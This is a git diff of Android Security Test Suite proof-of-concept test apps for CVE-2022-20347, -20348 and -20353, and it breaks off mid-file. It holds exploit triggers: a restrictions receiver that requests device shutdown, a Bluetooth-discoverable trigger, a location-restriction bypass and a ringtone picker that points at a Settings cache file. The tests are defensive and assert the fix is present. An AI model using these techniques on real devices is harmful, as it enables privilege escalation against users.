- ComponentName getPrivilegeCallDefaultComponent(Context context) {
- Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
- intent.setData(Uri.parse(context.getString(R.string.uriData)));
+ static ComponentName getShutdownDefaultComponent(Context context) {
+ Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN);
return intent.resolveActivity(context.getPackageManager());
}
@@ -36,14 +35,14 @@
public void onReceive(Context context, Intent intent) {
try {
Bundle result = new Bundle();
- Intent dialIntent = new Intent();
- dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
- dialIntent.setPackage(context.getPackageName());
- dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
- dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
- result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ Intent shutDownIntent = new Intent();
+ shutDownIntent.setComponent(getShutdownDefaultComponent(context));
+ shutDownIntent.setPackage(context.getPackageName());
+ shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN);
+ shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true);
+ shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent);
setResultExtras(result);
- return;
} catch (Exception e) {
SharedPreferences sh = context.getSharedPreferences(
context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
deleted file mode 100644
index 52f43c5..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2022_20347;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.UiAutomation;
-import android.bluetooth.BluetoothAdapter;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.SharedPreferences;
-import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.provider.Settings;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
- Context mContext;
- Semaphore mPreferenceChanged;
- UiDevice mDevice;
-
- String getSettingsPkgName() {
- Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
- ComponentName settingsComponent =
- settingsIntent.resolveActivity(mContext.getPackageManager());
- String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
- : mContext.getString(R.string.defaultSettingsPkg);
- return pkgName;
- }
-
- int getInteger(int resId) {
- return mContext.getResources().getInteger(resId);
- }
-
- @Test
- public void testBluetoothDiscoverable() {
- OnSharedPreferenceChangeListener sharedPrefListener;
- SharedPreferences sharedPrefs;
- boolean btState = false;
- try {
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
- // Save the state of bluetooth adapter to reset after the test
- btState = btAdapter.isEnabled();
-
- // If bluetooth is disabled, enable it and wait for start activity to complete
- mContext = InstrumentationRegistry.getInstrumentation().getContext();
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_ENABLE);
- mContext.startActivity(intent);
-
- Resources resources = mContext.getResources();
- sharedPrefs = mContext.getSharedPreferences(
- resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
- mPreferenceChanged = new Semaphore(0);
- sharedPrefListener = new OnSharedPreferenceChangeListener() {
- @Override
- public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
- String key) {
- if (key.equals(resources.getString(R.string.resultKey))) {
- mPreferenceChanged.release();
- }
- }
- };
- sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
- assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
- TimeUnit.MILLISECONDS));
- int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
- resources.getInteger(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
- resources.getString(R.string.defaultSemaphoreMsg));
- assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
-
- // Checking if bluetooth is enabled. The test requires bluetooth to be enabled
- assumeTrue(btAdapter.isEnabled());
-
- // Launch bluetooth settings which is supposed to set scan mode to
- // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
- UiAutomation uiautomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
- uiautomation
- .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
- String settingsPkg = getSettingsPkgName();
- intent = new Intent();
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setData(Uri.parse(mContext.getString(R.string.uri)));
- intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
- mContext.startActivity(intent);
- mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
- getInteger(R.integer.timeoutMs)));
- boolean isBtDiscoverable = false;
- isBtDiscoverable =
- (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
- uiautomation.dropShellPermissionIdentity();
-
- // The test fails if bluetooth is made discoverable through PoC
- assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
- } catch (Exception e) {
- assumeNoException(e);
- } finally {
- try {
- // Disable bluetooth if it was OFF before the test
- if (!btState) {
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction),
- BluetoothAdapter.ACTION_REQUEST_DISABLE);
- mContext.startActivity(intent);
- assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
- TimeUnit.MILLISECONDS));
- }
- // Go to home screen
- mDevice.pressHome();
- } catch (Exception e) {
- // ignore exceptions here
- }
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
similarity index 92%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
index 50acd29..b07e9f2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/Android.bp
@@ -20,11 +20,13 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2022-20348",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
similarity index 61%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
index 9242123..ec6a775 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/AndroidManifest.xml
@@ -14,22 +14,22 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.CVE_2022_20347">
- <uses-permission android:name="android.permission.BLUETOOTH"/>
- <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
- <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+ package="android.security.cts.CVE_2022_20348"
+ android:versionCode="1"
+ android:versionName="1.0">
<application>
- <activity android:name=".PocActivity"
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
<intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
- </activity>
+ </receiver>
</application>
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2022_20347" />
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20348" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
new file mode 100644
index 0000000..e79968d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="wifiScanningPattern">.*wi.fi scanning.*</string>
+ <string name="wifiScanningTimedOut">Timed out waiting on the text \'Wi-fi scanning\' to appear
+ </string>
+ <string name="failMsg">Device is vulnerable to b/228315529 !!</string>
+ <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string>
+ <string name="resWifiScanning">android:id/title</string>
+ <string name="setUserRestrictionFailed">Failed to set user restriction
+ UserManager.DISALLOW_CONFIG_LOCATION</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
new file mode 100644
index 0000000..65ce601
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
new file mode 100644
index 0000000..9cdb35d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/DeviceTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20348;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mContext;
+ UiDevice mDevice;
+ DevicePolicyManager mDevicePolicyManager;
+ ComponentName mComponentName;
+ static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION;
+ static final int UI_TIMEOUT_MS = 5000;
+
+ String getStringRes(int key) {
+ return mContext.getResources().getString(key);
+ }
+
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ /* Return to home screen after test */
+ mDevice.pressHome();
+
+ /*
+ * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the
+ * app as device owner.
+ */
+ mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION);
+ mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+ } catch (Exception e) {
+ // ignore the exception as the test is already complete
+ }
+ }
+
+ @Test
+ public void testWifiScanningDisallowed() {
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getApplicationContext();
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION);
+ UserManager userManager = mContext.getSystemService(UserManager.class);
+ assumeTrue(getStringRes(R.string.setUserRestrictionFailed),
+ userManager.getUserRestrictions().getBoolean(USER_RESTRICTION));
+
+ /* Start the window that contains option to toggle "Wi-Fi scanning" on/off */
+ Intent intent = new Intent(getStringRes(R.string.locationIntentAction));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ /* Wait for the window that contains option to toggle "Wi-Fi scanning" */
+ Pattern wifiScanningPattern = Pattern
+ .compile(getStringRes(R.string.wifiScanningPattern), Pattern.CASE_INSENSITIVE);
+ boolean wifiScanningFound = mDevice.wait(Until.hasObject(
+ By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning))),
+ UI_TIMEOUT_MS);
+ assumeTrue(getStringRes(R.string.wifiScanningTimedOut), wifiScanningFound);
+
+ /*
+ * Check if the toggle "Wi-Fi scanning" is enabled, it is supposed to be disabled by
+ * the Device Admin in presence of fix
+ */
+ UiObject2 wifiScanningToggle = mDevice.findObject(
+ By.text(wifiScanningPattern).res(getStringRes(R.string.resWifiScanning)));
+ assertFalse(getStringRes(R.string.failMsg), wifiScanningToggle.isEnabled());
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
similarity index 79%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
index 1a335c7..129a6b5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20348/src/android/security/cts/CVE_2022_20348/PocDeviceAdminReceiver.java
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2022_20348;
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
-public class PocActivity extends Activity {
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
similarity index 92%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
index 50acd29..37d35eb 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/Android.bp
@@ -12,7 +12,6 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
@@ -20,11 +19,13 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2022-20353",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
similarity index 71%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
index 9242123..d4129ac 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/AndroidManifest.xml
@@ -16,20 +16,20 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.CVE_2022_20347">
- <uses-permission android:name="android.permission.BLUETOOTH"/>
- <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
- <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
- <application>
- <activity android:name=".PocActivity"
+ package="android.security.cts.CVE_2022_20353">
+ <application
+ android:label="@string/appName"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
android:exported="true">
<intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
+ <action android:name="android.intent.action.RINGTONE_PICKER" />
+ <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
</application>
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2022_20347" />
+ android:targetPackage="android.security.cts.CVE_2022_20353" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
new file mode 100644
index 0000000..3207c29
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="success">0</integer>
+ <integer name="timeoutMs">20000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
new file mode 100644
index 0000000..27e87f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="alwaysButtonId">android:id/button_always</string>
+ <string name="appName">CVE-2022-20353</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="failureMessage">
+ Device is vulnerable to b/221041256!! Privilege escalation possible in
+ com.android.settings.DefaultRingtonePreference
+ </string>
+ <string name="fileName">NOTICE.html</string>
+ <string name="getRingtoneCmd">settings get system ringtone</string>
+ <string name="messageKey">message</string>
+ <string name="noticeUri">
+ content://com.android.settings.files/my_cache/NOTICE.html
+ </string>
+ <string name="resType">string</string>
+ <string name="resultKey">result</string>
+ <string name="setRingtoneCmd">settings put system ringtone</string>
+ <string name="sharedPreferences">sharedPreferences</string>
+ <string name="textResId">ringtone_title</string>
+ <string name="uiObjectNotFoundMsg">Unable to find UiObject with %1$s text/id</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
new file mode 100644
index 0000000..af1f978
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Resources mResources;
+ UiDevice mDevice;
+ Context mContext;
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound =
+ mDevice.wait(Until.hasObject(selector), mResources.getInteger(R.integer.timeoutMs));
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ @Test
+ public void testDefaultRingtonePreference() {
+ String defaultRingtone = null;
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getInstrumentation().getContext();
+ mResources = mContext.getResources();
+ defaultRingtone =
+ mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+
+ Intent intent = new Intent(Settings.ACTION_SOUND_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ String settingsPackageName =
+ intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+ Context settingsContext = mContext.createPackageContext(settingsPackageName,
+ Context.CONTEXT_IGNORE_SECURITY);
+ Resources res = settingsContext.getPackageManager()
+ .getResourcesForApplication(settingsPackageName);
+ String text = settingsContext
+ .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ // scroll until text 'Phone ringtone' is visible
+ UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+ uiScrollable.scrollTextIntoView(text);
+ // click on 'Phone ringtone'
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+ clickUiObject(selector));
+ // select CTS PoC app
+ text = mContext.getString(R.string.appName);
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, text),
+ clickUiObject(selector));
+ // select 'Always'
+ String resId = mContext.getString(R.string.alwaysButtonId);
+ selector = By.res(resId);
+ assumeTrue(mContext.getString(R.string.uiObjectNotFoundMsg, resId),
+ clickUiObject(selector));
+
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener sharedPrefListener =
+ new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mContext.getString(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+ // wait for PocActivity to complete
+ assumeTrue(preferenceChanged.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS));
+ int result = sharedPrefs.getInt(mContext.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(mContext.getString(R.string.messageKey),
+ mContext.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ String ringtoneUri = "";
+ boolean isVulnerable = false;
+ long startTime = System.currentTimeMillis();
+ while ((System.currentTimeMillis() - startTime) < mResources
+ .getInteger(R.integer.timeoutMs)) {
+ ringtoneUri =
+ mDevice.executeShellCommand(mContext.getString(R.string.getRingtoneCmd));
+ if (ringtoneUri.contains(mContext.getString(R.string.fileName))) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ assertFalse(mContext.getString(R.string.failureMessage), isVulnerable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // reset ringtone to default (other than 'null') present before test
+ mDevice.executeShellCommand(
+ mContext.getString(R.string.setRingtoneCmd) + " " + defaultRingtone);
+ mDevice.pressHome();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
new file mode 100644
index 0000000..977e647
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20353;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.os.Bundle;
+
+/* PocActivity is required in this test since it is required that CTS PoC app is selected when */
+/* choosing an app for setting default ringtone. RingtonePicker appears due to actions done in */
+/* DeviceTest. */
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent();
